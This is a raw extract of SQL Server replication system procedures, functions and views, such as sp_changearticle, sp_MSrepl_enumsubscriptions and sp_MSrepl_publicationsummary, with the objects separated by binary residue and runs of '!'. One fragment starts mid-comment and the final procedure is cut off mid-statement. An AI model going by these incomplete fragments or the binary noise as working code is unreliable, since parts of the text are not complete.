                ,@category int

    SELECT   @fpublished = 0
                ,@category = category
    FROM master.sys.sysdatabases
    WHERE name = @db_name 
    IF (@category IS NOT NULL)
    BEGIN
        -- Check if this database is a transactional publisher
        IF (@category & 1 = 1)
            SELECT @fpublished = 1
        --
        -- We have entry for this db_name in sysdatabases
        -- Is this database a distributor?
        --
        ELSE IF @hrepl = 1 AND (@category & 16 = 16)
            AND OBJECT_ID(N'msdb.dbo.MSdistpublishers') IS NOT NULL
        BEGIN
            -- DB is a distributor - is it used for HREPL publisher?
            IF EXISTS
            (
                SELECT name
                FROM msdb.dbo.MSdistpublishers
                WHERE distribution_db = @db_name 
                AND publisher_type != N'MSSQLSERVER'
            )
            BEGIN
                SELECT @fpublished = 1
            END
        END
    END -- @category not null
    --
    -- all done
    --
    RETURN @fpublished
END
08%@@ 8create procedure sys.sp_changearticle
(
    @publication				sysname = NULL,
    @article					sysname = NULL,
    @property					nvarchar(100) = NULL,
    @value						nvarchar(255) = NULL,
    @force_invalidate_snapshot	bit = 0,
    @force_reinit_subscription	bit = 0,
    @publisher					sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE	@publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changearticle'
	
	EXEC @retcode = @cmd
					@publication,
					@article,
					@property,
					@value,
					@force_invalidate_snapshot,
					@force_reinit_subscription,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0wzr !8create function sys.fn_MSmerge_islocalsubid (@subid uniqueidentifier)
returns bit
as
begin
    declare @db_name nvarchar(130)
    declare @subscriber_server sysname

    select @db_name = db_name, @subscriber_server = subscriber_server 
    from dbo.sysmergesubscriptions 
    where subid = @subid
    if @db_name is NULL or @subscriber_server is NULL
        return 0

    if @db_name = db_name() and UPPER(@subscriber_server) = UPPER(publishingservername())
        return 1

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?`<
l.0S 8CREATE VIEW sys.event_notification_event_types AS
	SELECT type, type_name, parent_type
	FROM OpenRowset(TABLE event_notification_event_types)
0.q@ R8
--
-- Name:
--		sp_verifypublisher
--
-- Description:
--		Verify that publisher state is valid for HREPL
--
-- Returns:
--		0      == Valid
--		1      == Error in publisher state
--
-- Security:
--		Internal
--
-- Notes:
--		Used by any routine that wants to validate
--		the state of the HREPL publisher before
--		performing any actions against it.
--		Errors are issued at warning level to allow
--		the calling proc to decide how to handle it.
--		For example, drop procedures would typically
--		choose to ignore the errors since everything
--		is being dropped.  Add procedures would tend
--		to error out immediately.
--

CREATE PROCEDURE sys.sp_verifypublisher
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE	@publisher_type	sysname
	DECLARE @cmd		nvarchar(4000)
	
	-------- security check, db_owner
	exec @retcode = dbo.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- Get publisher information
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Execute provider-specific verification
	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
		SELECT @cmd = @cmd + 'sys.sp_ORAverifypublisher'
		EXEC @retcode = @cmd @publisher
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher_type)
		SET @retcode = 1
	END

	return @retcode
END
0 P8)'h>U0R	 P8u@h>0N!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c`R<x1-.S0 8
--
-- Name:
-- sp_MSrepl_enumsubscriptions
--
-- Description:
--  Enumerate subscriptions on a database
--
-- Returns:
--  0 == Failed
--  1 == Succeed
--
-- Security:
--  public, db_owner check
--  Requires Certificate signature for catalog access
--
-- Notes:
--  Used by the UI to generate a list of subscriptions
--
CREATE PROCEDURE sys.sp_MSrepl_enumsubscriptions 
(
    @publication sysname,
    @publisher sysname = NULL ,
    @reserved bit = 0   -- Set to 1 when used by UI
)
AS
BEGIN
    set nocount on
    DECLARE @retcode int
                ,@dbname sysname
                ,@hasadminaccess bit
                ,@login_name sysname
                ,@category int
                ,@fpublished bit
            
    --
    -- Security Check.
    -- Part of the query to gather the list of publications uses security context
    -- Optimization done for syadmin or dbowner
    --
    select @dbname = db_name()
            ,@hasadminaccess = case when (is_member('db_owner') = 1 OR is_srvrolemember('sysadmin') = 1) then 1 else 0 end
            ,@login_name = suser_sname(suser_sid())
        
    -- Verify database is published
    -- Have put the code from fn_MSrepl_ispublished inline for faster processing
    -- If fn_MSrepl_ispublished() is updated - this code block should be updated as well
    SELECT @category = category
    FROM master.sys.sysdatabases
    WHERE name = @dbname 

    IF (@category IS NOT NULL)
    BEGIN
        -- We have entry for this db_name in sysdatabases
        -- Is this database a distributor?
        IF (@category & 16 = 16)
        BEGIN
            -- DB is a distributor - is it used for HREPL publisher?
            IF OBJECT_ID(N'msdb.dbo.MSdistpublishers') IS NOT NULL
            BEGIN
                IF EXISTS
                (
                    SELECT name
                    FROM msdb.dbo.MSdistpublishers
                    WHERE distribution_db = @dbname 
                        AND publisher_type != N'MSSQLSERVER'
                )
                BEGIN
                    SELECT @fpublished = 1
                END
            END
        END
        ELSE
        BEGIN
            -- Check if this database is a transactional or merge publisher
            IF (@category & 1 = 1 OR @category & 4 = 4)
            BEGIN
                SELECT @fpublished = 1
            END
        END
    END -- @category not null
    --
    -- If the database is not published - return
    --
    IF (@fpublished = 0) 
        RETURN (0)
    --
    -- set publisher
    --
    if (@publisher IS NULL)
        select @publisher = publishingservername()
    --
    -- Create temp table if needed
    --
    if (@reserved = 0)
    begin
        create table #tmp_pubsubscriptions
        (
            publisher sysname not null,
            publisher_db sysname not null,
            publisher_type sysname not null,
            publication sysname not null,
            publication_type int not null,
            subscription_name nvarchar(258) not null,
            subscriber sysname not null,
            subscriber_db sysname not null,
            subscription_type int not null,
            priority float(8) not null default 0.0
        )
    end
    -- Get snapshot or transactional subscriptions
    if (object_id(N'dbo.syssubscriptions') is not null)
    BEGIN
        IF (@category & 16 != 16)
        BEGIN
            -- SQL publication db
            INSERT INTO #tmp_pubsubscriptions
            (
                publisher,
                publisher_db,
                publisher_type,
                publication,
                publication_type,
                subscription_name,
                subscriber,
                subscriber_db,
                subscription_type
            )
            SELECT DISTINCT
                @publisher,
                @dbname,
                N'MSSQLSERVER',
                pub.name,
                pub.repl_freq,
                sub.srvname collate database_default + N':' + sub.dest_db,
                sub.srvname,
                sub.dest_db,
                sub.subscription_type
            FROM dbo.syssubscriptions as sub
                join dbo.sysextendedarticlesview as art on sub.artid = art.artid
                join dbo.syspublications as pub on art.pubid = pub.pubid
            WHERE pub.name = @publication
              AND (@hasadminaccess = 1 OR sub.login_name = @login_name)
              and sub.srvname is not null and len(sub.srvname) > 0
              -- GROUP BY srv.name, sub.dest_db, pub.name, pub.repl_freq, sub.subscription_type
        END
        ELSE
        BEGIN
            -- Heterogeneous subscriptions
            INSERT INTO #tmp_pubsubscriptions
            (
                publisher,
                publisher_db,
                publisher_type,
                publication,
                publication_type,
                subscription_name,
                subscriber,
                subscriber_db,
                subscription_type
            )
            SELECT DISTINCT
                pubsrv.name,
                pubsrv.name,
                msd.publisher_type,
                pub.name,
                pub.repl_freq,
                subsrv.name collate database_default + N':' + sub.dest_db,
                subsrv.name,
                sub.dest_db,
                sub.subscription_type
            FROM dbo.syssubscriptions as sub
                join sys.servers as subsrv on sub.srvid = subsrv.server_id
                join dbo.sysarticles as art on sub.artid = art.artid
                join dbo.syspublications as pub on art.pubid = pub.pubid
                join dbo.MSpublications as msp on pub.pubid = msp.publication_id
                join sys.servers as pubsrv on pubsrv.server_id = msp.publisher_id
                join msdb.dbo.MSdistpublishers as msd on msd.name = pubsrv.name
            WHERE pub.name = @publication
              AND pubsrv.name = @publisher
              AND (@hasadminaccess = 1 OR sub.login_name = @login_name)
        END
    END

    -- Get merge subscriptions
    if (object_id(N'dbo.sysmergesubscriptions') is not null)
    BEGIN
        INSERT INTO #tmp_pubsubscriptions
        (
            publisher,
            publisher_db,
            publisher_type,
            publication,
            publication_type,
            subscription_name,
            subscriber,
            subscriber_db,
            subscription_type,
            priority
        )
        SELECT DISTINCT
            pub.publisher,
            pub.publisher_db,
            N'MSSQLSERVER',
            pub.name,
            2,
            sub.subscriber_server + N':' + sub.db_name,
            sub.subscriber_server,
            sub.db_name,
            sub.subscription_type,
            sub.priority
        FROM dbo.sysmergesubscriptions as sub
            join dbo.sysmergepublications as pub on pub.pubid = sub.pubid
            join dbo.MSmerge_replinfo as rep on rep.repid = sub.subid
        WHERE sub.status != 2
            AND sub.subscriber_type <> 3
            AND sub.subid  != sub.pubid
            AND pub.name = @publication
            AND (@hasadminaccess = 1 OR rep.login_name = @login_name)
    END

    -- Return result set if needed
    if (@reserved = 0)
    begin
        SELECT *
        FROM #tmp_pubsubscriptions
        ORDER BY publisher, subscriber, subscriber_db
    end
    -- all done
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	T	<	4-D+0_ \8XNh>8^Cj0 8CREATE PROCEDURE sys.sp_MSrepl_helppublication_snapshot 
(
	@publication		sysname,
	@publisher			sysname,
	@publisher_type 	sysname
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int,
			@procedure			nvarchar(4000),
			@distributor_rpc	sysname,
			@distribution_db	sysname,
			@publisher_db		sysname
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1
	
	-- defaults
	SELECT @publisher_db	= DB_NAME(),
			@publisher		= ISNULL(@publisher, publishingservername())

	-- must be tran/merge published
	IF sys.fn_MSrepl_ispublished(DB_NAME()) <> 1
	BEGIN
		RAISERROR (14013, 16, -1)
		RETURN 1
	END

	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END

	-- Retrieve the snapshot agent information
	SELECT @procedure = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelpsnapshot_agent'	

	EXEC @retcode = @procedure @publisher = @publisher, 
									@publisher_db = @publisher_db,
									@publication = @publication
		IF @@ERROR <> 0 or @retcode <> 0
			RETURN 1

	RETURN 0
END
0b 8
--
-- Name:    
--          fn_IHPublicationIsTransactional
--          
-- Description: 
--          HREPL helper function to determine whether a heterogeneous
--          publication is a snapshot or transactional publication
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == publication is a transactional publication
--          0 == publication is a snapshot publication	
--      
-- Owner:   
--          <current owner> 

CREATE FUNCTION sys.fn_IHPublicationIsTransactional
(
	@publication_id int,
	@publisher_id int 
)
RETURNS int

AS
BEGIN
	DECLARE @transactional int

	SET @transactional = 0
	
	-- Determine whether publication is transactional
	IF EXISTS
		(SELECT * FROM IHpublications ip, MSpublications mp
		 WHERE	mp.publisher_id = @publisher_id
		 AND	ip.pubid = mp.publication_id
		 AND	ip.pubid = @publication_id
		 AND	ip.repl_freq = @transactional
		)
		RETURN (1)

	RETURN (0)
END
0@ 8create procedure sys.sp_MShelpmergearticles
    @publication sysname,
    @compatibility_level int = 7000000,  -- backward compatibility level, default=Sphinx
    @pubidin uniqueidentifier = NULL
as
    declare @pubid                  uniqueidentifier
    declare @artid                  uniqueidentifier
    declare @user_name              sysname
    declare @guid_col               sysname
    declare @identity_support       int
    declare @nickname               int
    declare @next_seed              bigint
    declare @objid                  int
    declare @qualname               nvarchar(270)
    declare @retcode                int
    declare @tablename              sysname
    declare @range                  bigint
    declare @threshold              int
    declare @db_name                sysname
    declare @has_joins              int
    declare @article_filter_category int
    declare @objid_looper           int
    declare @indexcol               int
    declare @rowcount1              int
    declare @rowcount2              int
    declare @use_partition_groups   smallint
    declare @maxschemaguidforarticle uniqueidentifier
        
    /*
    ** To public.
    */
    set nocount on
    if (@publication is null)
    begin
        RAISERROR(14003, 16, -1)
        return (1)
    end
        
    if object_id('MSmerge_contents') is NULL
    begin
        raiserror(20054, 16, -1)
        return (1)
    end
    
    select @db_name = db_name()

    if @pubidin is not NULL
        set @pubid = @pubidin
    else
        select @pubid = pubid from dbo.sysmergepublications
            where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=@db_name

    -- security check
    if (@pubid is null) or {fn ISPALUSER(@pubid)} <> 1
    begin
        RAISERROR (21423, 11, -1, @publication)
        return (1)
    end
    
    select @use_partition_groups = use_partition_groups from dbo.sysmergepublications where pubid = @pubid
    if @use_partition_groups is null
        select @use_partition_groups = 0

    if (@use_partition_groups <= 0) or (@compatibility_level < 9000000)
    begin
        exec @retcode = sys.sp_MShelpmergearticles_nonpartgroups @publication, @compatibility_level, @pubidin
        return @retcode
    end
    
    /* If the 7.0 merge agent is making this call then we need to make sure that the CLSID of the sp resolver is the old one and not the new one
       for an 8.0 merge agent we map CLSIDs from all resolvers it has in common with 9.0
       all this is done by calling fn_MSrepl_map_resolver_clsid */

    -- don't need compat level assume here that it is only called for 90+ compat level
    -- Note: Need to convert clsid in Katmai and above to Yukon as well since they are different. Hotfix#801802
    exec sys.sp_MShelpmergeselectarticles @pubid, @compatibility_level
        
    return (0)  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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`	<s>0* 8CREATE PROCEDURE sys.sp_MSrepl_publicationsummary 
(
    @publication    sysname,
    @publisher      sysname,
    @publisher_type sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode          int,
                @distproc         nvarchar(1000),
                @distributor      sysname,
                @distribdb        sysname,
                @loc_publisher    sysname,
                @loc_publisher_db sysname,
                @publisher_db     sysname,
                @tranpubid        int,
                @mergepubid       uniqueidentifier,
                @snap_job_id      binary(16),
                @log_job_id       binary(16),
                @snap_status      int,
                @snap_time        datetime,
                @snap_comments    nvarchar(255),
                @snap_duration int,
                @log_status       int,
                @log_time         datetime,
                @log_comments     nvarchar(255),
                @log_duration int,
                @db_name sysname

    select @tranpubid  = NULL
            ,@mergepubid = NULL
            ,@retcode = 0
            ,@db_name = db_name()
    --
    -- PAL check and validate publication
    --
    exec @retcode = sp_MSreplcheck_pull @publication = @publication,
                                        @raise_fatal_error = 0
    IF (@@error != 0) or (@retcode != 0)
        RETURN 1
    --
    -- Get distributor information
    --
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher  = @publisher,
                                    @rpcsrvname = @distributor OUTPUT,
                                    @distribdb  = @distribdb   OUTPUT
    --
    -- Set local publisher name and publisher db
    --
    IF @publisher IS NULL AND @publisher_type = N'MSSQLSERVER'
    BEGIN
        SELECT @loc_publisher = publishingservername(),
                    @loc_publisher_db = @db_name,
                    @publisher_db     = @db_name
    END
    ELSE
    BEGIN
        IF @publisher_type LIKE N'ORACLE%'
        BEGIN
            SELECT @loc_publisher    = @publisher,
                        @loc_publisher_db = @publisher,
                        @publisher_db     = @distribdb
        END
    END
    --
    -- Check to see if db is tran published
    --
    IF sys.fn_MSrepl_istranpublished(@db_name, 1) = 1
    BEGIN
        -- Get tran publication id
        SELECT @tranpubid = pubid
        FROM   dbo.syspublications
        WHERE  pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)
    END
    --
    -- Check to see if db is merge published
    --
    IF sys.fn_MSrepl_ismergepublished(@db_name) = 1
    BEGIN
        -- Get merge merge publication id (if not HREPL)
        IF @publisher_type = N'MSSQLSERVER'
        BEGIN
            SELECT @mergepubid = pubid
            FROM    dbo.sysmergepublications
            WHERE    name = @publication
        END
    END
    --
    -- If no publication found (tran or merge), return error
    --
    IF @tranpubid IS NULL AND @mergepubid IS NULL
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END
    --
    -- Collect the agent status
    --
    SELECT @distproc = CASE WHEN @publisher_type = N'MSSQLSERVER'
                                 THEN QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.'
                                 ELSE '' END + N'sys.sp_MSrepl_agentstatussummary'
    EXECUTE @retcode =  @distproc    @loc_publisher,
                                    @publisher_db,
                                    @publication,
                                    @snap_status   OUTPUT,
                                    @snap_time     OUTPUT,
                                    @snap_comments OUTPUT,
                                    @snap_duration OUTPUT,
                                    @log_status    OUTPUT,
                                    @log_time      OUTPUT,
                                    @log_comments  OUTPUT,
                                    @log_duration OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    
    IF @tranpubid IS NOT NULL
    BEGIN
        --
        -- processing for transactional publication 
        --
        SELECT    name                                   AS name,
                @loc_publisher_db                      AS pub_db, 
                @loc_publisher                         AS publisher,
                @publisher_type                        AS publisher_type,
                repl_freq                              AS pub_type,
                CONVERT(tinyint, immediate_sync_ready) AS snapshot_available,
                allow_sync_tran                        AS allow_immediate,
                allow_queued_tran                      AS allow_queued,
                options                                AS allow_peer2peer,
                0                                      AS allow_web_synchronization,
                0                                      AS is_filtered,
                0                                      AS has_dynamic_filters,
                N''                                     AS dynamic_filters_function_list,
                @snap_status                           AS snapshot_status,
                @snap_comments                         AS snapshot_message,
                @snap_time                             AS snapshot_time,
                @log_status                            AS logreader_status,
                @log_comments                          AS logreader_message,
                @log_time                              AS logreader_time,
                @snap_duration                         AS snapshot_duration,
                @log_duration                         AS logreader_duration
        FROM    dbo.syspublications
        WHERE    pubid = @tranpubid
    END
    ELSE IF @mergepubid IS NOT NULL
    BEGIN
        --
        -- processing for merge publication 
        --
        SELECT    name                          AS name,
                @loc_publisher_db             AS pub_db, 
                @loc_publisher                AS publisher,
                @publisher_type               AS publisher_type,
                2                             AS pub_type,
                snapshot_ready                AS snapshot_available,
                0                             AS allow_immediate,
                0                             AS allow_queued,
                0                             AS allow_peer2peer,
                allow_web_synchronization     AS allow_web_synchronization,
                publication_type              AS is_filtered,
                dynamic_filters               AS has_dynamic_filters,
                dynamic_filters_function_list AS dynamic_filters_function_list,
                @snap_status                  AS snapshot_status,
                @snap_comments                AS snapshot_message,
                @snap_time                    AS snapshot_time,
                @log_status                   AS logreader_status,
                @log_comments                 AS logreader_message,
                @log_time                     AS logreader_time,
                @snap_duration                         AS snapshot_duration,
                @log_duration                         AS logreader_duration
        FROM    dbo.sysmergepublications
        WHERE    pubid = @mergepubid
    END
    
    RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`5
{	<!v0OqMb0@ 8CREATE VIEW sys.dm_os_memory_brokers AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORY_BROKERS)
0f ?
8--
-- Name: sp_MSdynamicsnapshotjobexistsatdistributor
--
-- Description: Returns the dynamic snapshot job_id if it exists for the given 
--				publisher and host. 
--
-- Returns: 	0 - succeeded
--			1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MSdynamicsnapshotjobexistsatdistributor 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @dynamic_filter_login sysname,
    @dynamic_filter_hostname sysname,
    @dynamic_snapshot_jobid uniqueidentifier output
)
as
begin
    set nocount on

    declare @job_id uniqueidentifier
    declare @publisher_id int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_srvrolemember('sysadmin') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdynamicsnapshotjobexistsatdistributor', 'distribution')
        return (1)
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end
    
    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(srvname) = UPPER(@publisher)
    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END

    select @job_id = job_id
      from MSsnapshot_agents
     where publisher_id = @publisher_id and 
           publication = @publication and 
           publisher_db = @publisher_db and
           ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
           ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname) and
           publication_type = 2
    if @job_id is NULL or
        not exists (select 1 from msdb..sysjobs where job_id = @job_id)
        select @dynamic_snapshot_jobid = null
    else
        select @dynamic_snapshot_jobid = @job_id
    
    RETURN(0)
end
otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           merge agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_merge_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor.
--           The @publisher, @publisher_db, and @publication parameters
--           are supposed to be passed through the RPC link from the 
--           publisher.
--        3) There are two distinct code paths for the generation of 
--           the merge job name, one uses the agent id, and the other
--           uses a guid via the fn_repluniquename function.        
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname (This can be null for shared agent)
--             @subscriber    sysname
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSismergejobnamegenerated 
(
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @subscriber   sysname,
    @job_id       uniqueidentifier        
)
as
begin
    set nocount on
    
    declare @generated_job_name nvarchar(4000)
    declare @generated_job_name_length int
    declare @job_name sysname
    
    select @job_name = null
    select @job_name = name
      from msdb.dbo.sysjobs_view
     where job_id = @job_id

    if @job_name is null
    begin
        goto MISMATCH
    end

    -- First of all, make sure that the job is indeed a merge agent
    -- job (there should be a step with Merge as the subsystem in the job)
    if not exists (select *
                     from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'MERGE')
    begin
       goto MISMATCH 
    end

    -- 1) Try doing a match for a name generated based on agentid
    select @generated_job_name = left(@publisher, 21) + N'-'
                               + left(@publisher_db, 21) + N'-'
                               + left(@publication, 21) + N'-'
                               + left(@subscriber, 21) + N'-'
                               + N'[0-9]%'

    if upper(@job_name) like upper(@generated_job_name)
    begin
        return 0
    end
    
    -- 2) Try doing a match for a name generated using a guid, see fn_repluniquename
    select @generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@publisher_db,
    														@publication,
    														@subscriber)
    
    select @generated_job_name_length = len(@generated_job_name)

    -- Try matching the prefix of the job name
    if upper(left(@job_name, @generated_job_name_length)) = upper(@generated_job_name)
    begin
        -- Checks if the tail end of the job name matches a hexadecimal guid 
        if upper(right(@job_name, len(@job_name) - @generated_job_name_length) collate SQL_Latin1_General_CP1_CS_AS)
